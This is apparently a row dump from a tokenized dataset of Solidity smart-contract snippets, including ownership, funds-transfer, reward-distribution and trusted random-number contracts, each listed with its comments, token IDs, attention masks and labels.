file_name
stringlengths 71
779k
| comments
stringlengths 20
182k
| code_string
stringlengths 20
36.9M
| __index_level_0__
int64 0
17.2M
| input_ids
list | attention_mask
list | labels
list |
---|---|---|---|---|---|---|
//SDPX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Ownable {
address public owner;
// Sets the sender address as the `owner`.
constructor () {
owner = msg.sender;
}
// Throws an exception if called by any account other than the `owner`.
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
|
Sets the sender address as the `owner`.
|
contract Ownable {
address public owner;
pragma solidity ^0.8.0;
constructor () {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
| 7,301,827 |
[
1,
2785,
326,
5793,
1758,
487,
326,
1375,
8443,
8338,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
14223,
6914,
288,
203,
377,
203,
565,
1758,
1071,
3410,
31,
203,
203,
683,
9454,
18035,
560,
3602,
20,
18,
28,
18,
20,
31,
203,
565,
3885,
1832,
288,
203,
3639,
3410,
273,
1234,
18,
15330,
31,
203,
565,
289,
203,
203,
565,
9606,
1338,
5541,
1435,
288,
203,
3639,
2583,
12,
3576,
18,
15330,
422,
3410,
1769,
203,
3639,
389,
31,
203,
565,
289,
203,
97,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.23;
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract FundsTransfer is Owned{
address public wallet;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor (address _wallet, address _owner) public{
wallet = _wallet;
owner = _owner;
}
function () external payable{
_forwardFunds(msg.value);
}
function _forwardFunds(uint256 _amount) internal {
wallet.transfer(_amount);
}
function changeWallet(address newWallet) public onlyOwner {
wallet = newWallet;
}
}
|
---------------------------------------------------------------------------- Owned contract ----------------------------------------------------------------------------
|
contract Owned {
address public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
| 12,845,006 |
[
1,
5802,
7620,
14223,
11748,
6835,
8879,
13849,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
14223,
11748,
288,
203,
565,
1758,
1071,
3410,
31,
203,
203,
565,
871,
14223,
9646,
5310,
1429,
4193,
12,
2867,
8808,
389,
2080,
16,
1758,
8808,
389,
869,
1769,
203,
203,
565,
9606,
1338,
5541,
288,
203,
3639,
2583,
12,
3576,
18,
15330,
422,
3410,
1769,
203,
3639,
389,
31,
203,
565,
289,
203,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x2F53e033C55eB6C87CEa259123C0a68Ca3578426/sources/contracts/WorldsEscrow.sol
|
E7: Invalid signature
|
abi.encode(_tokenIds, _weights, _msgSender(), _maxTimestamp, address(this))), _signature), "E7");
| 17,079,610 |
[
1,
41,
27,
30,
1962,
3372,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
5411,
24126,
18,
3015,
24899,
2316,
2673,
16,
389,
9727,
16,
389,
3576,
12021,
9334,
389,
1896,
4921,
16,
1758,
12,
2211,
3719,
3631,
389,
8195,
3631,
315,
41,
27,
8863,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/97/0xe5aDb1Cb960090027b4292120DEf47F13bdD3585/sources/Voting.sol
|
bytes32 type are basically strings
|
bytes32 uid;
| 11,372,658 |
[
1,
3890,
1578,
618,
854,
23772,
2064,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
1731,
1578,
4555,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
//Address: 0x3bd60d6df851bfd1281d304eae048c6b723f05ad
//Contract name: SingularDTVFund
//Balance: -
//Verification Date: 3/6/2018
//Transacion Count: 0
// CODE STARTS HERE
pragma solidity ^0.4.15;
contract Token {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract AbstractSingularDTVToken is Token {
}
/// @title Fund contract - Implements reward distribution.
/// @author Stefan George - <[email protected]>
/// @author Milad Mostavi - <[email protected]>
contract SingularDTVFund {
string public version = "0.1.0";
/*
* External contracts
*/
AbstractSingularDTVToken public singularDTVToken;
/*
* Storage
*/
address public owner;
uint public totalReward;
// User's address => Reward at time of withdraw
mapping (address => uint) public rewardAtTimeOfWithdraw;
// User's address => Reward which can be withdrawn
mapping (address => uint) public owed;
modifier onlyOwner() {
// Only guard is allowed to do this action.
if (msg.sender != owner) {
revert();
}
_;
}
/*
* Contract functions
*/
/// @dev Deposits reward. Returns success.
function depositReward()
public
payable
returns (bool)
{
totalReward += msg.value;
return true;
}
/// @dev Withdraws reward for user. Returns reward.
/// @param forAddress user's address.
function calcReward(address forAddress) private returns (uint) {
return singularDTVToken.balanceOf(forAddress) * (totalReward - rewardAtTimeOfWithdraw[forAddress]) / singularDTVToken.totalSupply();
}
/// @dev Withdraws reward for user. Returns reward.
function withdrawReward()
public
returns (uint)
{
uint value = calcReward(msg.sender) + owed[msg.sender];
rewardAtTimeOfWithdraw[msg.sender] = totalReward;
owed[msg.sender] = 0;
if (value > 0 && !msg.sender.send(value)) {
revert();
}
return value;
}
/// @dev Credits reward to owed balance.
/// @param forAddress user's address.
function softWithdrawRewardFor(address forAddress)
external
returns (uint)
{
uint value = calcReward(forAddress);
rewardAtTimeOfWithdraw[forAddress] = totalReward;
owed[forAddress] += value;
return value;
}
/// @dev Setup function sets external token address.
/// @param singularDTVTokenAddress Token address.
function setup(address singularDTVTokenAddress)
external
onlyOwner
returns (bool)
{
if (address(singularDTVToken) == 0) {
singularDTVToken = AbstractSingularDTVToken(singularDTVTokenAddress);
return true;
}
return false;
}
/// @dev Contract constructor function sets guard address.
function SingularDTVFund() {
// Set owner address
owner = msg.sender;
}
/// @dev Fallback function acts as depositReward()
function ()
public
payable
{
if (msg.value == 0) {
withdrawReward();
} else {
depositReward();
}
}
}
|
Contract functions/ @dev Deposits reward. Returns success.
|
function depositReward()
public
payable
returns (bool)
{
totalReward += msg.value;
return true;
}
| 977,690 |
[
1,
8924,
4186,
19,
225,
4019,
538,
1282,
19890,
18,
2860,
2216,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
443,
1724,
17631,
1060,
1435,
203,
3639,
1071,
203,
3639,
8843,
429,
203,
3639,
1135,
261,
6430,
13,
203,
565,
288,
203,
3639,
2078,
17631,
1060,
1011,
1234,
18,
1132,
31,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
* @title Random Number Generator based on a trusted party.
* @author Clément Lesaege - <[email protected]>
*
* This contract implement the RNG standard and rely on a trusted party to give a random number.
*
*/
pragma solidity ^0.4.15;
import "./RNG.sol";
/** Simple Random Number Generator based on a trusted third party.
* The trusted third party determine the random number and get all the contributions.
*/
contract TrustedRNG is RNG {
address public owner=msg.sender; // The operator of this RNG.
mapping (uint => uint) public randomNumber; // RN[block] is the random number for this block 0 otherwise.
mapping (uint => uint) public reward; // reward[block] is the amount to be paid to the party w.
modifier onlyOwner() {require(msg.sender==owner); _;}
/** @dev Contribute to the reward of a random number.
* @param _block Block the random number is linked to.
*/
function contribute(uint _block) public payable {
if (randomNumber[_block]!=0)
owner.send(msg.value); // The random number has already been given, pay the operator. If send fails it's not an issue.
else
reward[_block]+=msg.value;
}
/** @dev Give a random number. To be called by the operator.
* @param _block Block the random number is linked to.
* @param _RN The random number given by the trusted party.
*/
function giveRN(uint _block, uint _RN) public onlyOwner {
require(randomNumber[_block]==0); // Prevent the operator from changing a RN.
owner.send(reward[_block]); // If send fails it's not an issue.
randomNumber[_block]=_RN;
reward[_block]=0;
}
/** @dev Get the random number.
* @param _block Block the random number is linked to.
* @return RN Random Number. If the number is not ready or has not been requested 0 instead.
*/
function getRN(uint _block) public returns (uint RN) {
return randomNumber[_block];
}
}
|
* Simple Random Number Generator based on a trusted third party. The trusted third party determine the random number and get all the contributions./
|
contract TrustedRNG is RNG {
pragma solidity ^0.4.15;
modifier onlyOwner() {require(msg.sender==owner); _;}
function contribute(uint _block) public payable {
if (randomNumber[_block]!=0)
else
reward[_block]+=msg.value;
}
function giveRN(uint _block, uint _RN) public onlyOwner {
randomNumber[_block]=_RN;
reward[_block]=0;
}
function getRN(uint _block) public returns (uint RN) {
return randomNumber[_block];
}
}
| 15,882,591 |
[
1,
5784,
8072,
3588,
10159,
2511,
603,
279,
13179,
12126,
18285,
18,
225,
1021,
13179,
12126,
18285,
4199,
326,
2744,
1300,
471,
336,
777,
326,
13608,
6170,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
30645,
54,
4960,
353,
534,
4960,
288,
203,
203,
203,
203,
683,
9454,
18035,
560,
3602,
20,
18,
24,
18,
3600,
31,
203,
565,
9606,
1338,
5541,
1435,
288,
6528,
12,
3576,
18,
15330,
631,
8443,
1769,
389,
31,
97,
203,
565,
445,
356,
887,
12,
11890,
389,
2629,
13,
1071,
8843,
429,
288,
203,
3639,
309,
261,
9188,
1854,
63,
67,
2629,
65,
5,
33,
20,
13,
203,
3639,
469,
203,
5411,
19890,
63,
67,
2629,
3737,
33,
3576,
18,
1132,
31,
203,
565,
289,
203,
203,
565,
445,
8492,
54,
50,
12,
11890,
389,
2629,
16,
2254,
389,
54,
50,
13,
1071,
1338,
5541,
288,
203,
203,
3639,
2744,
1854,
63,
67,
2629,
65,
33,
67,
54,
50,
31,
203,
3639,
19890,
63,
67,
2629,
65,
33,
20,
31,
203,
565,
289,
203,
203,
565,
445,
4170,
50,
12,
11890,
389,
2629,
13,
1071,
1135,
261,
11890,
534,
50,
13,
288,
203,
3639,
327,
2744,
1854,
63,
67,
2629,
15533,
203,
565,
289,
203,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
